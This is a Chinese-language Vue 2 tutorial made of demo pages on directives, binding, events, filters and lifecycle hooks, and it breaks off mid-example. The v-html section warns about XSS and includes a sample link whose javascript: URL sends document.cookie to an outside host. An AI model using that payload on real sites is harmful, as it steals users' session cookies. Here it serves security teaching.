Vue的使用

Vue的使用

Vue到底是啥?
  Vue中包含了两部分
  虚拟DOM  模块化编程

虚拟DOM你可以这样去理解:就是咋们在重用我们的模板的时候 在Vue中存在虚拟DOM  真实的DOM(我们眼睛能看到的部分)  虚拟DOM的虚拟出现是为了更好的去重用我们的DOM

模块化的编程

前端项目的时候 HTML  CSS   JS (按照我们的大类来进行分)

一个页面 包含了 很多的HTML  CSS   JS

Vue的时候就可以将这个页面的部分进行抽取形成一个碎片(Fragment)

当我们的页面 需要显示的时候 就将这无数个抽取出来的碎片进行组合  形成一个页面  每一个碎片都包含有 HTML  JS  CSS

1、初始Vue

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>初识Vue</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            初识Vue:
                1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
                2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
                3.root容器里的代码被称为【Vue模板】;
                4.Vue实例和容器是一一对应的;
                5.真实开发中只有一个Vue实例,并且会配合着组件一起使用;
                6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;
                7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;

                注意区分:js表达式 和 js代码(语句)
                        1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
                                    (1). a
                                    (2). a+b
                                    (3). demo(1)
                                    (4). x === y ? 'a' : 'b'

                        2.js代码(语句)
                                    (1). if(){}
                                    (2). for(){}
        -->

        <!-- 准备好一个容器 -->
        <div id="demo">
            <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
        </div>

        <script type="text/javascript" >
            Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

            //创建Vue实例
            new Vue({
                el:'#demo', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
                data:{ //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
                    name:'qf',
                    address:'北京'
                }
            })

        </script>
    </body>
</html>

2、模板语法

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>模板语法</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                Vue模板语法有2大类:
                    1.插值语法:
                            功能:用于解析标签体内容。
                            写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
                    2.指令语法:
                            功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
                            举例:v-bind:href="xxx" 或  简写为 :href="xxx",xxx同样要写js表达式,
                                     且可以直接读取到data中的所有属性。
                            备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子。

         -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h1>插值语法</h1>
            <h3>你好,{{name}}</h3>
            <hr/>
            <h1>指令语法</h1>
            <a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
            <a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'jack',
                school:{
                    name:'川轻化',
                    url:'http://www.1000phone.com',
                }
            }
        })
    </script>
</html>

3、数据绑定

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>数据绑定</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            Vue中有2种数据绑定的方式:
                    1.单向绑定(v-bind):数据只能从data流向页面。
                    2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
                        备注:
                                1.双向绑定一般都应用在表单类元素上(如:input、select等)
                                2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
         -->
        <!-- 准备好一个容器-->
        <div id="root">
            <!-- 普通写法 -->
            <!-- 单向数据绑定:<input type="text" v-bind:value="name"><br/>
            双向数据绑定:<input type="text" v-model:value="name"><br/> -->

            <!-- 简写 -->
            单向数据绑定:<input type="text" :value="name"><br/>
            双向数据绑定:<input type="text" v-model="name"><br/>

            <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
            <!-- <h2 v-model:x="name">你好啊</h2> -->
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'川轻化'
            }
        })
    </script>
</html>

4、el和data的两种写法

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>el与data的两种写法</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            data与el的2种写法
                    1.el有2种写法
                                    (1).new Vue时候配置el属性。
                                    (2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
                    2.data有2种写法
                                    (1).对象式
                                    (2).函数式
                                    如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
                    3.一个重要的原则:
                                    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h1>你好,{{name}}</h1>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        //el的两种写法
        /* const v = new Vue({
            //el:'#root', //第一种写法
            data:{
                name:'川轻化'
            }
        })
        console.log(v)
        v.$mount('#root') //第二种写法 */

        //data的两种写法
        new Vue({
            el:'#root',
            //data的第一种写法:对象式
            /* data:{
                name:'川轻化'
            } */

            //data的第二种写法:函数式
            data(){
                console.log('@@@',this) //此处的this是Vue实例对象
                return{
                    name:'川轻化'
                }
            }
        })
    </script>
</html>

5、MVVM模型

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>理解MVVM</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            MVVM模型
                        1. M:模型(Model) :data中的数据
                        2. V:视图(View) :模板代码
                        3. VM:视图模型(ViewModel):Vue实例
            观察发现:
                        1.data中所有的属性,最后都出现在了vm身上。
                        2.vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h1>学校名称:{{name}}</h1>
            <h1>学校地址:{{address}}</h1>
            <!-- <h1>测试一下1:{{1+1}}</h1>
            <h1>测试一下2:{{$options}}</h1>
            <h1>测试一下3:{{$emit}}</h1>
            <h1>测试一下4:{{_c}}</h1> -->
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el:'#root',
            data:{
                name:'川轻化',
                address:'北京',
            }
        })
        console.log(vm)
    </script>
</html>

6、事件基本处理

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>事件的基本使用</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                事件的基本使用:
                            1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
                            2.事件的回调需要配置在methods对象中,最终会在vm上;
                            3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
                            4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
                            5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>欢迎来到{{name}}学习</h2>
            <!-- <button v-on:click="showInfo">点我提示信息</button> -->
            <button @click="showInfo1">点我提示信息1(不传参)</button>
            <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el:'#root',
            data:{
                name:'川轻化',
            },
            methods:{
                showInfo1(event){
                    // console.log(event.target.innerText)
                    // console.log(this) //此处的this是vm
                    alert('同学你好!')
                },
                showInfo2(event,number){
                    console.log(event,number)
                    // console.log(event.target.innerText)
                    // console.log(this) //此处的this是vm
                    alert('同学你好!!')
                }
            }
        })
    </script>
</html>

7、事件修饰符

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>事件修饰符</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
        <style>
            *{
                margin-top: 20px;
            }
            .demo1{
                height: 50px;
                background-color: skyblue;
            }
            .box1{
                padding: 5px;
                background-color: skyblue;
            }
            .box2{
                padding: 5px;
                background-color: orange;
            }
            .list{
                width: 200px;
                height: 200px;
                background-color: peru;
                overflow: auto;
            }
            li{
                height: 100px;
            }
        </style>
    </head>
    <body>
        <!-- 
                Vue中的事件修饰符:
                        1.prevent:阻止默认事件(常用);
                        2.:阻止事件冒泡(常用);
                        3.once:事件只触发一次(常用);

                        4.capture:使用事件的捕获模式;
                        5.self:只有event.target是当前操作的元素时才触发事件;
                        6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>欢迎来到{{name}}学习</h2>
            <!-- 阻止默认事件(常用) -->
            <a href="http://www.1000phone.com" @click.prevent="showInfo">点我提示信息</a>

            <!-- 阻止事件冒泡(常用) -->
            <div class="demo1" @click="showInfo">
                <button @click.stop="showInfo">点我提示信息</button>
                <!-- 修饰符可以连续写 -->
                <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
            </div>

            <!-- 事件只触发一次(常用) -->
            <button @click.once="showInfo">点我提示信息</button>

            <!-- 使用事件的捕获模式 -->
            <div class="box1" @click.capture="showMsg(1)">
                div1
                <div class="box2" @click="showMsg(2)">
                    div2
                </div>
            </div>

            <!-- 只有event.target是当前操作的元素时才触发事件; -->
            <div class="demo1" @click.self="showInfo">
                <button @click="showInfo">点我提示信息</button>
            </div>

            <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
            <ul @wheel.passive="demo" class="list">
                <li>1</li>
                <li>2</li>
                <li>3</li>
                <li>4</li>
            </ul>

        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'川轻化'
            },
            methods:{
                showInfo(e){
                    alert('同学你好!')
                    // console.log(e.target)
                },
                showMsg(msg){
                    console.log(msg)
                },
                demo(){
                    for (let i = 0; i < 100000; i++) {
                        console.log('#')
                    }
                    console.log('累坏了')
                }
            }
        })
    </script>
</html>

8、键盘事件

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>键盘事件</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                1.Vue中常用的按键别名:
                            回车 => enter
                            删除 => delete (捕获“删除”和“退格”键)
                            退出 => esc
                            空格 => space
                            换行 => tab (特殊,必须配合keydown去使用)
                            上 => up
                            下 => down
                            左 => left
                            右 => right

                2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

                3.系统修饰键(用法特殊):ctrl、alt、shift、meta
                            (1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
                            (2).配合keydown使用:正常触发事件。

                4.也可以使用keyCode去指定具体的按键(不推荐)

                5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>欢迎来到{{name}}学习</h2>
            <input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
        Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

        new Vue({
            el:'#root',
            data:{
                name:'川轻化'
            },
            methods: {
                showInfo(e){
                    // console.log(e.key,e.keyCode)
                    console.log(e.target.value)
                }
            },
        })
    </script>
</html>

9、计算属性

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>姓名案例_计算属性实现</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            姓:<input type="text" v-model="firstName"> <br/><br/>
            名:<input type="text" v-model="lastName"> <br/><br/>
            全名:<span>{{fullName}}</span> <br/><br/>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三',
            },
            computed:{
                //完整写法
                /* fullName:{
                    get(){
                        console.log('get被调用了')
                        return this.firstName + '-' + this.lastName
                    },
                    set(value){
                        console.log('set',value)
                        const arr = value.split('-')
                        this.firstName = arr[0]
                        this.lastName = arr[1]
                    }
                } */
                //简写
                fullName(){
                    console.log('get被调用了')
                    return this.firstName + '-' + this.lastName
                }
            }
        })
    </script>
</html>

10、样式绑定

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>绑定样式</title>
        <style>
            .basic{
                width: 400px;
                height: 100px;
                border: 1px solid black;
            }

            .happy{
                border: 4px solid red;;
                background-color: rgba(255, 255, 0, 0.644);
                background: linear-gradient(30deg,yellow,pink,orange,yellow);
            }
            .sad{
                border: 4px dashed rgb(2, 197, 2);
                background-color: gray;
            }
            .normal{
                background-color: skyblue;
            }

            .qf1{
                background-color: yellowgreen;
            }
            .qf2{
                font-size: 30px;
                text-shadow:2px 2px 10px red;
            }
            .qf3{
                border-radius: 20px;
            }
        </style>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            绑定样式:
                    1. class样式
                                写法:class="xxx" xxx可以是字符串、对象、数组。
                                        字符串写法适用于:类名不确定,要动态获取。
                                        对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
                                        数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
                    2. style样式
                                :style="{fontSize: xxx}"其中xxx是动态值。
                                :style="[a,b]"其中a、b是样式对象。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
            <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

            <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
            <div class="basic" :class="classArr">{{name}}</div> <br/><br/>

            <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
            <div class="basic" :class="classObj">{{name}}</div> <br/><br/>

            <!-- 绑定style样式--对象写法 -->
            <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
            <!-- 绑定style样式--数组写法 -->
            <div class="basic" :style="styleArr">{{name}}</div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        const vm = new Vue({
            el:'#root',
            data:{
                name:'川轻化',
                mood:'normal',
                classArr:['qf1','qf2','qf3'],
                classObj:{
                    qf1:false,
                    qf2:false,
                },
                styleObj:{
                    fontSize: '40px',
                    color:'red',
                },
                styleObj2:{
                    backgroundColor:'orange'
                },
                styleArr:[
                    {
                        fontSize: '40px',
                        color:'blue',
                    },
                    {
                        backgroundColor:'gray'
                    }
                ]
            },
            methods: {
                changeMood(){
                    const arr = ['happy','sad','normal']
                    const index = Math.floor(Math.random()*3)
                    this.mood = arr[index]
                }
            },
        })
    </script>

</html>

11、条件渲染

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>条件渲染</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                条件渲染:
                            1.v-if
                                        写法:
                                                (1).v-if="表达式" 
                                                (2).v-else-if="表达式"
                                                (3).v-else="表达式"
                                        适用于:切换频率较低的场景。
                                        特点:不展示的DOM元素直接被移除。
                                        注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

                            2.v-show
                                        写法:v-show="表达式"
                                        适用于:切换频率较高的场景。
                                        特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉

                            3.备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
         -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
            <!-- 使用v-show做条件渲染 -->
            <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
            <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

            <!-- 使用v-if做条件渲染 -->
            <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
            <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

            <!-- v-else和v-else-if -->
            <!-- <div v-if="n === 1">Angular</div>
            <div v-else-if="n === 2">React</div>
            <div v-else-if="n === 3">Vue</div>
            <div v-else>哈哈</div> -->

            <!-- v-if与template的配合使用 -->
            <template v-if="n === 1">
                <h2>你好</h2>
                <h2>川轻化</h2>
                <h2>北京</h2>
            </template>

        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        const vm = new Vue({
            el:'#root',
            data:{
                name:'川轻化',
                n:0
            }
        })
    </script>
</html>

12、列表渲染

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>基本列表</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                v-for指令:
                        1.用于展示列表数据
                        2.语法:v-for="(item, index) in xxx" :key="yyy"
                        3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <!-- 遍历数组 -->
            <h2>人员列表(遍历数组)</h2>
            <ul>
                <li v-for="(p,index) of persons" :key="index">
                    {{p.name}}-{{p.age}}
                </li>
            </ul>

            <!-- 遍历对象 -->
            <h2>汽车信息(遍历对象)</h2>
            <ul>
                <li v-for="(value,k) of car" :key="k">
                    {{k}}-{{value}}
                </li>
            </ul>

            <!-- 遍历字符串 -->
            <h2>测试遍历字符串(用得少)</h2>
            <ul>
                <li v-for="(char,index) of str" :key="index">
                    {{char}}-{{index}}
                </li>
            </ul>

            <!-- 遍历指定次数 -->
            <h2>测试遍历指定次数(用得少)</h2>
            <ul>
                <li v-for="(number,index) of 5" :key="index">
                    {{index}}-{{number}}
                </li>
            </ul>
        </div>

        <script type="text/javascript">
            Vue.config.productionTip = false

            new Vue({
                el:'#root',
                data:{
                    persons:[
                        {id:'001',name:'张三',age:18},
                        {id:'002',name:'李四',age:19},
                        {id:'003',name:'王五',age:20}
                    ],
                    car:{
                        name:'奥迪A8',
                        price:'70万',
                        color:'黑色'
                    },
                    str:'hello'
                }
            })
        </script>
</html>

13、收集表单数据

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>收集表单数据</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            收集表单数据:
                    若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
                    若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
                    若:<input type="checkbox"/>
                            1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
                            2.配置input的value属性:
                                    (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
                                    (2)v-model的初始值是数组,那么收集的的就是value组成的数组
                    备注:v-model的三个修饰符:
                                    lazy:失去焦点再收集数据
                                    number:输入字符串转为有效的数字
                                    trim:输入首尾空格过滤
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <form @submit.prevent="demo">
                账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
                密码:<input type="password" v-model="userInfo.password"> <br/><br/>
                年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
                性别:
                男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
                爱好:
                学习<input type="checkbox" v-model="userInfo.hobby" value="study">
                打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
                吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
                <br/><br/>
                所属校区
                <select v-model="userInfo.city">
                    <option value="">请选择校区</option>
                    <option value="beijing">北京</option>
                    <option value="shanghai">上海</option>
                    <option value="shenzhen">深圳</option>
                    <option value="wuhan">武汉</option>
                </select>
                <br/><br/>
                其他信息:
                <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
                <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.qf.com">《用户协议》</a>
                <button>提交</button>
            </form>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false

        new Vue({
            el:'#root',
            data:{
                userInfo:{
                    account:'',
                    password:'',
                    age:18,
                    sex:'female',
                    hobby:[],
                    city:'beijing',
                    other:'',
                    agree:''
                }
            },
            methods: {
                demo(){
                    console.log(JSON.stringify(this.userInfo))
                }
            }
        })
    </script>
</html>

14、过滤器

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>过滤器</title>
        <script type="text/javascript" src="../js/vue.js"></script>
        <script type="text/javascript" src="../js/dayjs.min.js"></script>
    </head>
    <body>
        <!-- 
            过滤器:
                定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
                语法:
                        1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
                        2.使用过滤器:{{ xxx | 过滤器名}}  或  v-bind:属性 = "xxx | 过滤器名"
                备注:
                        1.过滤器也可以接收额外参数、多个过滤器也可以串联
                        2.并没有改变原本的数据, 是产生新的对应的数据
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2>显示格式化后的时间</h2>
            <!-- 计算属性实现 -->
            <h3>现在是:{{fmtTime}}</h3>
            <!-- methods实现 -->
            <h3>现在是:{{getFmtTime()}}</h3>
            <!-- 过滤器实现 -->
            <h3>现在是:{{time | timeFormater}}</h3>
            <!-- 过滤器实现(传参) -->
            <h3>现在是:{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
            <h3 :x="msg | mySlice">川轻化</h3>
        </div>

        <div id="root2">
            <h2>{{msg | mySlice}}</h2>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false
        //全局过滤器
        Vue.filter('mySlice',function(value){
            return value.slice(0,4)
        })

        new Vue({
            el:'#root',
            data:{
                time:1621561377603, //时间戳
                msg:'你好,川轻化'
            },
            computed: {
                fmtTime(){
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            methods: {
                getFmtTime(){
                    return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            //局部过滤器
            filters:{
                timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){
                    // console.log('@',value)
                    return dayjs(value).format(str)
                }
            }
        })

        new Vue({
            el:'#root2',
            data:{
                msg:'hello,100phone!'
            }
        })
    </script>
</html>

15、内置指令

15.1、v-text指令
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-text指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                我们学过的指令:
                        v-bind    : 单向绑定解析表达式, 可简写为 :xxx
                        v-model    : 双向数据绑定
                        v-for      : 遍历数组/对象/字符串
                        v-on       : 绑定事件监听, 可简写为@
                        v-if          : 条件渲染(动态控制节点是否存存在)
                        v-else     : 条件渲染(动态控制节点是否存存在)
                        v-show     : 条件渲染 (动态控制节点是否展示)
                v-text指令:
                        1.作用:向其所在的节点中渲染文本内容。
                        2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-text="name"></div>
            <div v-text="str"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'川轻化',
                str:'<h3>你好啊!</h3>'
            }
        })
    </script>
</html>
15.2、v-html命令
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-html指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                v-html指令:
                        1.作用:向指定节点中渲染包含html结构的内容。
                        2.与插值语法的区别:
                                    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
                                    (2).v-html可以识别html结构。
                        3.严重注意:v-html有安全性问题!!!!
                                    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
                                    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <div>你好,{{name}}</div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'川轻化',
                str:'<h3>你好啊!</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
            }
        })
    </script>
</html>
15.3、v-cloak指令
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-cloak指令</title>
        <style>
            [v-cloak]{
                display:none;
            }
        </style>
        <!-- 引入Vue -->
    </head>
    <body>
        <!-- 
                v-cloak指令(没有值):
                        1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
                        2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-cloak>{{name}}</h2>
        </div>
        <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    </body>

    <script type="text/javascript">
        console.log(1)
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                name:'川轻化'
            }
        })
    </script>
</html>
15.4、v-once指令
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-once指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            v-once指令:
                        1.v-once所在节点在初次动态渲染后,就视为静态内容了。
                        2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-once>初始化的n值是:{{n}}</h2>
            <h2>当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                n:1
            }
        })
    </script>
</html>
15.5、v-pre命令
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-pre指令</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            v-pre指令:
                    1.跳过其所在节点的编译过程。
                    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-pre>Vue其实很简单</h2>
            <h2 >当前的n值是:{{n}}</h2>
            <button @click="n++">点我n+1</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            data:{
                n:1
            }
        })
    </script>
</html>

16、生命周期

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>分析生命周期</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root" :x="n">
            <h2 v-text="n"></h2>
            <h2>当前的n值是:{{n}}</h2>
            <button @click="add">点我n+1</button>
            <button @click="bye">点我销毁vm</button>
        </div>
    </body>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

        new Vue({
            el:'#root',
            // template:`
            //     <div>
            //         <h2>当前的n值是:{{n}}</h2>
            //         <button @click="add">点我n+1</button>
            //     </div>
            // `,
            data:{
                n:1
            },
            methods: {
                add(){
                    console.log('add')
                    this.n++
                },
                bye(){
                    console.log('bye')
                    this.$destroy()
                }
            },
            watch:{
                n(){
                    console.log('n变了')
                }
            },
            beforeCreate() {
                console.log('beforeCreate')
            },
            created() {
                console.log('created')
            },
            beforeMount() {
                console.log('beforeMount')
            },
            mounted() {
                console.log('mounted')
            },
            beforeUpdate() {
                console.log('beforeUpdate')
            },
            updated() {
                console.log('updated')
            },
            beforeDestroy() {
                console.log('beforeDestroy')
            },
            destroyed() {
                console.log('destroyed')
            },
        })
    </script>
</html>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>引出生命周期</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
                常用的生命周期钩子:
                        1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
                        2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。

                关于销毁Vue实例
                        1.销毁后借助Vue开发者工具看不到任何信息。
                        2.销毁后自定义事件会失效,但原生DOM事件依然有效。
                        3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
        -->
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 :style="{opacity}">欢迎学习Vue</h2>
            <button @click="opacity = 1">透明度设置为1</button>
            <button @click="stop">点我停止变换</button>
